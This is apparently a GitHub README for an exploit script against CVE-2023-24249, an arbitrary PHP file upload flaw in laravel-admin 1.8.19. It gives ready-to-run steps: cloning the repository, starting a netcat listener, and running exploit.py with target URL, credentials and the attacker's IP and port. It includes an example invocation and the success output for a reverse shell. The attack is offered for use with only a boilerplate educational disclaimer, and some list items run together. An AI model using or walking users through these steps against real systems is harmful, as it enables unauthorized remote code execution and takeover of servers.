
Exploit script for CVE-2023-24249 - a vulnerability allowing remote code execution via file upload and command injection.
This repository contains an exploit script for CVE-2023-24249, a critical vulnerability found in laravel-admin version 1.8.19. This vulnerability allows for arbitrary file upload, enabling attackers to execute arbitrary code via a crafted PHP file. The exploit demonstrates how an attacker can upload a reverse shell to the target application and execute it to gain remote access.
CVE-2023-24249 is an arbitrary file upload vulnerability in laravel-admin v1.8.19. This vulnerability allows attackers to upload and execute arbitrary PHP files, leading to potential remote code execution.
The provided exploit script automates the process of exploiting CVE-2023-24249. It performs the following steps:
requests librarybeautifulsoup4 libraryInstall the required libraries using pip:
pip install requests beautifulsoup4
Clone the repository:
git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git
cd CVE-2023-24249-Exploit
Start a listener on your machine:
nc -lvnp <PORT>
Run the exploit script:
python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -i <YOUR_IP> -p <YOUR_PORT>
Replace <TARGET_URL>, <USERNAME>, <PASSWORD>, <YOUR_IP>, and <YOUR_PORT> with the appropriate values:
<TARGET_URL>: The URL of the target application.<USERNAME>: The username for authentication.<PASSWORD>: The password for authentication.python3 exploit.py -u http://admin.iduzzel.com -U admin -P iduzzel -i 10.10.14.13 -p 1337
If the exploit is successful, the script will output:
[+] Reverse shell uploaded successfully! Attempting to execute it...
[+] Reverse shell executed successfully! Check your listener at <YOUR_IP>:<YOUR_PORT>
This script is intended for educational purposes only. Unauthorized use of this script against any system without explicit permission is illegal and unethical. The author is not responsible for any misuse or damage caused by this script.
<YOUR_IP>: Your IP address to receive the reverse shell connection.<YOUR_PORT>: The port on which your listener is running.